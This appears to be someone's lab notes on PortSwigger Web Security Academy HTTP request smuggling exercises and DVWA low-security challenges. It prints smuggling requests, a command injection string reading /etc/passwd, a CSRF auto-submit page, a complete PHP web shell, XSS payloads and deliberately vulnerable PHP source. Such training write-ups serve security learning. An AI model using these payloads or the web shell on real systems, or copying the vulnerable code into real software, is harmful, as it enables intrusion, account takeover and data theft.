Exploiting HTTP request smuggling to reveal front-end request rewriting
POST / HTTP/1.1
Host: 0a4d00c7030f427a814ed94700d0001a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-hSlExB-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
Exploiting HTTP request smuggling to capture other users' requests
Check if vulnerable
POST / HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
3
abc
x
If it times out, it is very likely to be vulnerable.
Confirm vulnerability
Attack Request
POST / HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Transfer-Encoding: chunked
0
GET /wqdhiwulh HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
x=
Normal Request
POST / HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
If 404 not found is returned, then the CL. TE vulnerability is confirmed.
Attack Request
POST / HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 344
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Cookie: session=Y59dcCS8DM6ZRiAKpzhkYkwxgIVN2Z3P
Content-Type: application/x-www-form-urlencoded
Content-Length: 950
csrf=Fjer3jYMxu2fSkFkzeHTWt9khhOhJbyV&postId=7&name=foobar&email=foobar%40bar.com&website=https%3A%2F%2Fbar.com&comment=foo
Victim Request
POST / HTTP/1.1
Host: 0ae50076047a49ff8064ad4e0062000b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 745
foo=bar
with many \r\n spaces here
Exploiting HTTP request smuggling to deliver reflected XSS
Detect CL. TE Vulnerability
POST / HTTP/1.1
Host: 0a0d00b303c593ec80de623100a1002d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
abc
X
In case it is timed out, it means that it's likely vulnerable.
Exploit XSS
POST / HTTP/1.1
Host: 0a0d00b303c593ec80de623100a1002d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
How To Prevent HTTP Request Smuggling Vulnerabilities?
- Interpret HTTP headers consistently on front-end and back-end servers
- Disable vulnerable optimizations
- Avoid use of load balancers, CDNs, or reverse proxies if not required
- Use HTTP/2
- Disable connection reuse on the back-end server
- Configure the front-end server to normalize ambiguous requests
- Do not expose logged HTTP traffic
- Use a WAF
DVWA - Brute Force
Security Level - Low
Source code
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Exploit
- Intercept a dummy login request
- Send request to Intruder
- Use cluster bomb attack with a simple list
- Start attack and filter based on response length
- Successfully logged in
Command Injection
Security Level - Low
Source Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Exploit
Submit
127.0.0.1 && cat /etc/passwd &
CSRF
Security Level - Low
Source code
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Exploit
Intercept a password change request
Notice we satsify the 3 CSRF conditions:
- Relevant action (Change password)
- Cookie-based session handling
- No unpredictable parameters
Generate CSRF PoC using Burp and then test it in the browser
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.109.53/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123" />
<input type="hidden" name="password_conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Result
File Inclusion
Security Level - Low
Source Code
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
If we choose one of the files:
Local File Inclusion
Request:
Browser:
Remote File Inclusion
File Upload
Security Level - Low
Source Code
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
PHP File
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Web Shell</title>
<style>
* {
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
font-family: sans-serif;
color: rgba(0, 0, 0, .75);
}
main {
margin: auto;
max-width: 850px;
}
pre,
input,
button {
padding: 10px;
border-radius: 5px;
background-color: #efefef;
}
label {
display: block;
}
input {
width: 100%;
background-color: #efefef;
border: 2px solid transparent;
}
input:focus {
outline: none;
background: transparent;
border: 2px solid #e6e6e6;
}
button {
border: none;
cursor: pointer;
margin-left: 5px;
}
button:hover {
background-color: #e6e6e6;
}
.form-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
padding: 15px 0;
}
</style>
</head>
<body>
<main>
<h1>Web Shell</h1>
<h2>Execute a command</h2>
<form method="post">
<label for="cmd"><strong>Command</strong></label>
<div class="form-group">
<input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
<button type="submit">Execute</button>
</div>
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
<h2>Output</h2>
<?php if (isset($cmd)): ?>
<pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
<?php else: ?>
<pre><small>No result.</small></pre>
<?php endif; ?>
<?php endif; ?>
</main>
</body>
</html>
Upload PHP File
SQL Injection
Security Level - Low
Source Code
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
XSS
Security Level - Low
DOM-Based XSS
Choose English language and intercept the request in Burp.
Notice that the choice is being passed to the document.write()
sink
Exploit
Exploiting this requires escaping <option value='English'>English</option>
.
Submit domain/DVWA/vulnerabilities/xss_d/?default='><script>alert(1)</script>
Result
Reflected XSS
In order to exploit this, we add a random value, submit it and then check the page source:
We notice that the value is reflected between <pre></pre>
tags.
We can now submit <script>alert(1)</script>
.
Result
Stored XSS
Input a random value to the Name
and Message
fields and check how the values are stored.
For this stored XSS to work, we can try to add <img src=x onerror=alert(1)>
in the message box.